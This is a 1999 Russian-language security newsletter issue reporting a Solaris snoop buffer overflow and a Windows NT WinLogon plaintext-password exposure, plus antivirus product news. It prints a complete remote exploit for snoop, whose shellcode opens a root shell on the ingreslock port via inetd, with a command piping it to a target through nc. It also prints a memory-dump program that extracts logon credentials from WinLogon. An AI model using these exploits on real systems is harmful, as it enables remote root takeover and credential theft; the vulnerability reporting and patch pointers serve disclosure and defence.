Отправляет email-рассылки с помощью сервиса Sendsay

Inroad Hi - Tech Review

  Все выпуски  

Служба Рассылок Городского Кота


Служба Рассылок Городского Кота

Обзор высоких технологий в области  защиты и взлома
/ новости / обзор рынка и комментарии к нему / 12.12.99 /

http://www.inroad.kiev.ua
ac@istrada.net.ua

Чужой сниффер как лазейка в чужую систему

Подразделение Internet Security Systems (ISS) X-Force нашло переполнение буфера в программе snoop (аналог tcpdump, только под Solaris). Snoop - это сниффер, обычно используемый для анализа сетевого трафика и для контроля работы сети.

Найденная ошибка позволяет получить доступ к системе на которой запущен snoop Уязвимая версия поставлялась со всеми ОС Solaris 2.х и является стандартной утилитой в этой системе.

ОШИБКА:

Переполнение буфера происходит тогда, когда snoop, запущенный с флагом -v анализирует и расшифровывает трафик некоторых специфичных rpc запросов. Если при декодировании rpc-запроса GETQUOTA к сервису rquotad в качестве одного из аргументов передается длинная строка, то может произойти переполнение буфера, которое позволит злоумышленникам запустить код в стеке системы.

RPC Сервис rquotad использюется для получения дисковых квот пользователей работающих в локальной системе на дисках замонтированных по NFS. Это переполнение позволяет знающим людям захватить контроль над системой с запущенной прогой snoop.

Другая ошибка (найденная группой w00w00) ( насколько мне известно патч еще не опубликовали) тоже позволяет получить доступ к системе опять же через переполнение стека в программе snoop. Она уже не требует флага -v, и любой запустивший непропатченный snoop оказывается уязвимым.

Естественно, необходимым условием является то, что snoop должен быть запущен во время атаки на систему. При запуске он автоматически переводит сетевой интерфейс в режим приема всех пакетов (promisc) что позволяет злоумышленнику получить доступ к системе, не зная точный адрес машины на которой запущен snoop (может даже и не одной). Также убирание promisc бита из флагов сетевого устройства не является защитой от возможного переполнения, т.к. пакет может быть послан прямо на ip адрес машины.

Ошибки были найдены и подтверждены в утилите snoop, поставляемой со следующими системами: Solaris 2.4, 2.5, 2.5.1, 2.6, и 2.7.

РЕКОМЕНДАЦИИ

Администраторам не рекомендюется запускать snoop на firewallах, т.к. это позволит обходить некоторые правила файрвола.

Sun Microsystems выпустила патчи для всех версий. их можно найти по адресу:

http://sunsolve.sun.com/pub-cgi/show.pl?target=patches/patch-license&nav=pub-patches

ЭКСПЛОИТ

Приведенная ниже программа является эксплоитом для второй ошибки описанной немного выше. суть ее таже - получение доступа к удаленной системе с правами пользователя который запустил snoop (обычно это пользователь с uid=0 - root). Программа генерирует строку нужной длины, со shell-кодом открывающим sh на tcp порту ingreslock


/*
by: K2,
version .2
this is a funny Solaris.
remote Solaris 2.7 x86 snoop exploit
rm /tmp/w0 yourself!&@$*(&$!*(@*$&()%RW

run with ( ./snp ) | nc -u target_host_network 53
requires target host to be running "snoop"

verified with patch 108483-01

thx str/horizon for shellcodes. Hi plageuz
Hi mom.
*/
#include <unistd.h<
#include <stdio.h<
#include <stdlib.h<
#include <string.h<

char shell[] =
"\xEB\x37\x5E\x8D\x5E\x10\x89\x1E\x83\xC3\x08\x89"
"\x5E\x04\x83\xC3\x03\x89\x5E\x08\x83\xEB\x0B\x8D"
"\x0E\x89\xCA\x33\xC0\x89\x46\x0C\x89\x46\xF5\x89"
"\x46\xFA\x88\x46\x17\x88\x46\x1A\xB0\x3B\x52\x51"
"\x53\x50\x9A\x73\x74\x72\x6E\x07\x72\xE8\xC4\xFF"
"\xFF\xFF\x31\x33\x20\x4A\x61\x6E\x20\x31\x39\x39"
"\x38\x2D\x2D\x73\x74\x72\x2F\x62\x69\x6E\x2F\x73"
"\x68\x28\x2D\x63\x29 echo w00w00;echo \"ingreslock"
"stream tcp nowait root /bin/sh sh -i\" >>/tmp/w0;"
"/usr/sbin/inetd -s /tmp/w0;/bin/rm -f /tmp/w0";


#define SIZE 2048
#define NOPDEF 349
#define DEFOFF 0

const char x86_nop=0x90;
long nop=NOPDEF,esp=0x804646c;
long offset=DEFOFF;
char buffer[SIZE];

int main (int argc, char *argv[]) {
int i;

if (argc > 1) offset += strtol(argv[1], NULL, 0);
if (argc > 2) nop += strtoul(argv[2], NULL, 0);

memset(buffer, x86_nop, SIZE);
memcpy(buffer+nop, shell, strlen(shell));
for (i = nop+strlen(shell); i < SIZE-4; i += 4) {
*((int *) &buffer[i]) = esp+offset;
}

fprintf(stderr,"0x%x\n",esp+offset);
printf("%s", buffer);

return 0;
}

  -evil06

Copyright (C) Team Void



Виртуальная память NT WinLogon содержит пароль открытым текстом

Уязвимость обнаружена Robertом Horvickом (rhorvick@acm.org)

Так как в принципе, потребуются права администратора, чтобы заняться социальной инженерией или же запуском эксплоита, это по умолчанию является нонсенвом, потому что перед этим потребуется получить администраторские права. MICROSOFT был оповещe:н о нижеследующей уязвимости и указало, что данная уязвимость была ликвидирована в SP5. Так же в документации к SP5 ничего не говорилось об сделанных изменениях - скорее всего, корпорация решила умолчать об уязвимости.

Главная идея в том, что когда запускается процесс WinLogon (OpenProcess) при помощи функции PROCESS_VM_READ, и затем виртуальная память читается при помощи ReadProcessMemory - несколько сотен первых байт (в форме переменных окружения в формате Unicode) и есть имя и пароль пользователя, дважды и открытым текстом, и в формате,удобном для понимания.

Итак, ниже приводится демонстрационный эксплоит:

/****************************
* dumpvmem
*
* программа дампит перепенные окружения процесса в файл
* для дальнейшего просмотра. Для запуска необходимы права администратора
* В первой сотне байт будут пароли пользователя
*
* Robert Horvick [Kanin] Great Plains Software
* 12/2/1999 rhorvick@acm.org
*
*
* Command Line
* pid - decimal process id
* szPath - path to the file to dump memory to
*
****************************/

#include <windows.h> #include <stdio.h>
/*
* Highly inefficient - allocations occur in page size minimums.
* They should be used for real work. Since
* the password shows up so quickly ... meh.
*/
DWORD DumpMemory(HANDLE hProc, LPSTR szPath)
{
LPSTR lpOffset = (void*)1;
CHAR vBuf[1];
DWORD dwRead = 0;
BOOL bLastRead = FALSE;
DWORD dwDumpedBytes = 0;

FILE *f;
f = fopen(szPath, "wb");
if(f)
{
while(lpOffset++)
{
if(ReadProcessMemory( hProc,
lpOffset,
vBuf,
1,
&dwRead))
{
if(bLastRead)
{
fprintf(f, "%c", vBuf[0]);
}
else
{
fprintf(f, "\noffset %lx\n", lpOffset);
fprintf(f, "%c", vBuf[0]);
bLastRead = TRUE;
}
dwDumpedBytes++;
}
else
{
bLastRead = FALSE;
}
}
fclose(f);
}
else
{
fprintf(stderr, "Unable to open %s", szPath);
}

return dwDumpedBytes;
}

int main(int argc, char **argv)
{
DWORD dwPid = 0;
BOOL bWorked = FALSE;
HANDLE hProc = 0;
char *szPath = 0;

if (argc < 2)
{
fprintf(stderr, "dumpvmem pid path_to_dump_file");

return EXIT_FAILURE;
}

dwPid = atol(argv[1]);
szPath = argv[2];

hProc = OpenProcess(PROCESS_VM_READ, FALSE, dwPid);

if(hProc)
{
/* Play nice ... that is a tight loop up there. */
HANDLE hMe = GetCurrentProcess();
SetPriorityClass(hMe, IDLE_PRIORITY_CLASS);

DumpMemory(hProc, szPath);
CloseHandle(hProc);
}
else
{
fprintf(stderr, "Unable to open %ld for PROCESS_VM_READ\n", dwPid);
}

return 0;
}

-duke

Copyright (C) Team Void


CA предлагает домашним пользователям бесплатную антивирусную программу InoculateIT

Компания Computer Associates International, Inc. (CA) объявила о том, что все домашние пользователи компьютеров могут бесплатно загрузить с сайта http://antivirus.cai.com новую версию антивирусной программы InoculateIT - InoculateIT Personal Edition 5.0. CA собирается производить бесплатное еженедельное обновление вирусных баз данных для этого ПО и осуществлять техническую поддержку этого продукта.

По сообщению разработчика, в новую версию InoculateIT включены некоторые дополнения и усовершенствования: функция автоматического обновления ПО, усовершенствованная технология обнаружения вирусов, полная поддержка неанглийских сред, сканирование новых типов файлов (например, PowerPoint и RTF) и поддержка Office 2000.

InoculateIT Personal Edition 5.0 автоматические обнаруживает и удаляет файловые вирусы, вирусы загрузочного сектора, макро-вирусы и вирусы-черви. Программа сертифицирована на совместимость с датами 2000 г., она предназначается для ПК с ОС Windows 95, Windows 98 и Windows NT Workstation 4.0.

Copyright (C) InfoArt News Agency



Украинская баннерная сеть

Обновлен сервер "Проекта - Inroad"

Добавлена новая статья
Электронные ключи, методы защиты и взлома
программного обеспечения

Обзор рынка и комментарии к нему
CyberCop Scanner - средство повышения безопасности
компьютерных сетей

Архив новостей
Последние новости за два месяца

Беспроводный доступ в Интернет
предоставлен  фирмой  InterStrada

http://www.citycat.ru/ ═══════ E-mail: citycat@citycat.ru

В избранное